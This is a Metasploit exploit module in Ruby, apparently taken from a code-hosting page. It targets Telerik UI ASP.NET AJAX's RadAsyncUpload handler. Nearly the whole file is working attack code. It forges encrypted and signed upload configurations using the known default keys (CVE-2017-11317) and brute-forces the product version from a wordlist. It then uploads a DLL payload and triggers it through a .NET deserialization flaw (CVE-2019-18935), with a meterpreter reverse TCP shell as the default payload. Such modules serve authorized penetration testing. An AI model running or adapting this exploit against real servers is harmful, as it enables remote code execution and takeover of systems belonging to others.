260 lines
11 KiB
Ruby
260 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
SALT = "\x3a\x54\x5b\x19\x0a\x22\x1d\x44\x3c\x58\x2c\x33\x01".b
|
|
# default keys per CVE-2017-11317
|
|
DEFAULT_RAU_SIGNING_KEY = 'PrivateKeyForHashOfUploadConfiguration'.freeze
|
|
DEFAULT_RAU_ENCRYPTION_KEY = 'PrivateKeyForEncryptionOfRadAsyncUploadConfiguration'.freeze
|
|
CVE_2017_11317_REFERENCES = [
|
|
['CVE', '2017-11317'], # Unrestricted File Upload via Weak Encryption
|
|
['URL', 'https://github.com/bao7uo/RAU_crypto'],
|
|
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload'],
|
|
['URL', 'https://github.com/straightblast/UnRadAsyncUpload/wiki'],
|
|
].freeze
|
|
CVE_2019_18935_REFERENCES = [
|
|
['CVE', '2019-18935'], # Remote Code Execution via Insecure Deserialization
|
|
['URL', 'https://github.com/noperator/CVE-2019-18935'],
|
|
['URL', 'https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization'],
|
|
['URL', 'https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html'],
|
|
['URL', 'https://labs.bishopfox.com/tech-blog/cve-2019-18935-remote-code-execution-in-telerik-ui'],
|
|
].freeze
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization',
|
|
'Description' => %q{
|
|
This module exploits the .NET deserialization vulnerability within the RadAsyncUpload (RAU) component of Telerik
|
|
UI ASP.NET AJAX that is identified as CVE-2019-18935. In order to do so the module must upload a mixed mode .NET
|
|
assembly DLL which is then loaded through the deserialization flaw. Uploading the file requires knowledge of the
|
|
cryptographic keys used by RAU. The default values used by this module are related to CVE-2017-11317, which once
|
|
patched randomizes these keys. It is also necessary to know the version of Telerik UI ASP.NET that is running.
|
|
This version number is in the format YYYY.#(.###)? where YYYY is the year of the release (e.g. '2020.3.915').
|
|
},
|
|
'Author' => [
|
|
'Spencer McIntyre', # Metasploit module
|
|
'Paul Taylor', # (@bao7uo) Python PoCs
|
|
'Markus Wulftange', # (@mwulftange) discovery of CVE-2019-18935
|
|
'Caleb Gross', # (@noperator) research on CVE-2019-18935
|
|
'Alvaro Muñoz', # (@pwntester) discovery of CVE-2017-11317
|
|
'Oleksandr Mirosh', # (@olekmirosh) discover of CVE-2017-11317
|
|
'straightblast', # (@straight_blast) discovery of CVE-2017-11317
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => CVE_2017_11317_REFERENCES + CVE_2019_18935_REFERENCES,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Targets' => [['Windows', {}],],
|
|
'Payload' => { 'Space' => 2048 },
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
|
|
'RPORT' => 443,
|
|
'SSL' => true
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2019-12-09', # Telerik article on CVE-2019-18935
|
|
'Notes' => {
|
|
'Reliability' => [UNRELIABLE_SESSION],
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
},
|
|
'Privileged' => true
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
|
|
OptString.new('FILE_NAME', [ false, 'The base file name for the upload (default will be random)' ]),
|
|
OptString.new('DESTINATION', [ true, 'The destination folder for the upload', 'C:\\Windows\\Temp' ]),
|
|
OptString.new('RAU_ENCRYPTION_KEY', [ true, 'The encryption key for the RAU configuration data', DEFAULT_RAU_ENCRYPTION_KEY ]),
|
|
OptString.new('RAU_SIGNING_KEY', [ true, 'The signing key for the RAU configuration data', DEFAULT_RAU_SIGNING_KEY ]),
|
|
OptString.new('VERSION', [ false, 'The Telerik UI ASP.NET AJAX version' ])
|
|
])
|
|
end
|
|
|
|
def dest_file_basename
|
|
@dest_file_name = @dest_file_name || datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(4..35))}.dll"
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),
|
|
'vars_get' => { 'type' => 'rau' }
|
|
})
|
|
return CheckCode::Safe unless res&.code == 200
|
|
return CheckCode::Safe unless res.get_json_document&.dig('message') =~ /RadAsyncUpload handler is registered succesfully/
|
|
|
|
if datastore['VERSION'].blank?
|
|
@version = enumerate_version
|
|
else
|
|
begin
|
|
upload_file('', datastore['VERSION'])
|
|
rescue Msf::Exploit::Failed
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
@version = datastore['VERSION']
|
|
end
|
|
|
|
if !@version.nil? && datastore['RAU_SIGNING_KEY'] == DEFAULT_RAU_SIGNING_KEY && datastore['RAU_ENCRYPTION_KEY'] == DEFAULT_RAU_ENCRYPTION_KEY
|
|
print_status('Server is using default crypto keys and is vulnerable to CVE-2017-11317')
|
|
report_vuln({
|
|
host: rhost,
|
|
port: rport,
|
|
proto: 'tcp',
|
|
name: 'Unrestricted File Upload via Weak Encryption',
|
|
refs: CVE_2017_11317_REFERENCES.map { |ctx_id, ctx_val| SiteReference.new(ctx_id, ctx_val) }
|
|
})
|
|
end
|
|
|
|
# with custom errors enabled (which is the default), it's not possible to test for the serialization flaw without triggering it
|
|
CheckCode::Detected
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::BadConfig, 'No version was specified and it could not be enumerated') if @version.nil?
|
|
upload_file(generate_payload_dll({ mixed_mode: true }), @version)
|
|
execute_payload
|
|
end
|
|
|
|
def execute_payload
|
|
print_status('Executing the payload...')
|
|
serialized_object = { 'Path' => "#{datastore['DESTINATION'].chomp('\\').gsub('\\', '/')}/#{dest_file_basename}.tmp" }
|
|
serialized_object_type = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0']['System.Configuration.Install']['System.Configuration.Install.AssemblyInstaller']
|
|
|
|
msg = rau_mime_payload(serialized_object, serialized_object_type.to_s)
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),
|
|
'vars_get' => { 'type' => 'rau' },
|
|
'method' => 'POST',
|
|
'data' => msg.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{msg.bound}"
|
|
}, 5
|
|
)
|
|
# this request to execute the payload times out on success and returns 200 when it fails, for example because the
|
|
# AllowedCustomMetaDataTypes setting is blocking the necessary code path
|
|
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload') if res&.code == 200
|
|
end
|
|
|
|
def upload_file(file_contents, version)
|
|
target_folder = encrypt('')
|
|
temp_target_folder = encrypt(datastore['DESTINATION'].encode('UTF-16LE'))
|
|
if (version =~ /(\d{4})\.\d+.\d+/) && Regexp.last_match(1).to_i > 2016
|
|
# signing is only necessary for versions >= 2017.1.118 (versions that don't match the regex don't require signing)
|
|
target_folder << sign(target_folder)
|
|
temp_target_folder << sign(temp_target_folder)
|
|
end
|
|
|
|
serialized_object = {
|
|
'TargetFolder' => target_folder,
|
|
'TempTargetFolder' => temp_target_folder,
|
|
'MaxFileSize' => 0,
|
|
'TimeToLive' => {
|
|
'Ticks' => 1440000000000,
|
|
'Days' => 0,
|
|
'Hours' => 40,
|
|
'Minutes' => 0,
|
|
'Seconds' => 0,
|
|
'Milliseconds' => 0,
|
|
'TotalDays' => 1.6666666666666665,
|
|
'TotalHours' => 40,
|
|
'TotalMinutes' => 2400,
|
|
'TotalSeconds' => 144000,
|
|
'TotalMilliseconds' => 144000000
|
|
},
|
|
'UseApplicationPoolImpersonation' => false
|
|
}
|
|
serialized_object_type = "Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=#{version}, Culture=neutral, PublicKeyToken=121fae78165ba3d4"
|
|
|
|
msg = rau_mime_payload(serialized_object, serialized_object_type, file_contents: file_contents)
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),
|
|
'vars_get' => { 'type' => 'rau' },
|
|
'method' => 'POST',
|
|
'data' => msg.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{msg.bound}"
|
|
}
|
|
)
|
|
fail_with(Failure::UnexpectedReply, 'The upload failed') unless res&.code == 200
|
|
metadata = JSON.parse(decrypt(res.get_json_document['metaData']).force_encoding('UTF-16LE'))
|
|
dest_path = "#{datastore['DESTINATION'].chomp('\\')}\\#{metadata['TempFileName']}"
|
|
print_good("Uploaded #{file_contents.length} bytes to: #{dest_path}")
|
|
register_file_for_cleanup(dest_path)
|
|
end
|
|
|
|
def rau_mime_payload(serialized_object, serialized_object_type, file_contents: '')
|
|
metadata = { 'TotalChunks' => 1, 'ChunkIndex' => 0, 'TotalFileSize' => 1, 'UploadID' => dest_file_basename }
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part("#{encrypt(serialized_object.to_json.encode('UTF-16LE'))}&#{encrypt(serialized_object_type.encode('UTF-16LE'))}", nil, nil, 'form-data; name="rauPostData"')
|
|
post_data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"#{dest_file_basename}\"")
|
|
post_data.add_part(dest_file_basename, nil, nil, 'form-data; name="fileName"')
|
|
post_data.add_part('application/octet-stream', nil, nil, 'form-data; name="contentType"')
|
|
post_data.add_part('1970-01-01T00:00:00.000Z', nil, nil, 'form-data; name="lastModifiedDate"')
|
|
post_data.add_part(metadata.to_json, nil, nil, 'form-data; name="metadata"')
|
|
post_data
|
|
end
|
|
|
|
def enumerate_version
|
|
print_status('Enumerating the Telerik UI ASP.NET AJAX version, this will fail if the keys are incorrect')
|
|
File.open(File.join(Msf::Config.data_directory, 'wordlists', 'telerik_ui_asp_net_ajax_versions.txt'), 'rb').each_line do |version|
|
|
version.strip!
|
|
next if version.start_with?('#')
|
|
|
|
vprint_status("Checking version: #{version}")
|
|
begin
|
|
upload_file('', version)
|
|
rescue Msf::Exploit::Failed
|
|
next
|
|
end
|
|
|
|
print_good("The Telerik UI ASP.NET AJAX version has been identified as: #{version}")
|
|
return version
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
#
|
|
# Crypto Functions
|
|
#
|
|
def get_cipher(mode)
|
|
# older versions might need to use pbkdf1
|
|
blob = OpenSSL::PKCS5.pbkdf2_hmac_sha1(datastore['RAU_ENCRYPTION_KEY'], SALT, 1000, 48)
|
|
cipher = OpenSSL::Cipher.new('AES-256-CBC').send(mode)
|
|
cipher.key = blob.slice(0, 32)
|
|
cipher.iv = blob.slice(32, 48)
|
|
cipher
|
|
end
|
|
|
|
def decrypt(cipher_text)
|
|
cipher = get_cipher(:decrypt)
|
|
cipher.update(Rex::Text.decode_base64(cipher_text)) + cipher.final
|
|
end
|
|
|
|
def encrypt(plain_text)
|
|
cipher = get_cipher(:encrypt)
|
|
cipher_text = ''
|
|
cipher_text << cipher.update(plain_text) unless plain_text.empty?
|
|
cipher_text << cipher.final
|
|
Rex::Text.encode_base64(cipher_text)
|
|
end
|
|
|
|
def sign(data)
|
|
Rex::Text.encode_base64(OpenSSL::HMAC.digest('SHA256', datastore['RAU_SIGNING_KEY'], data))
|
|
end
|
|
end
|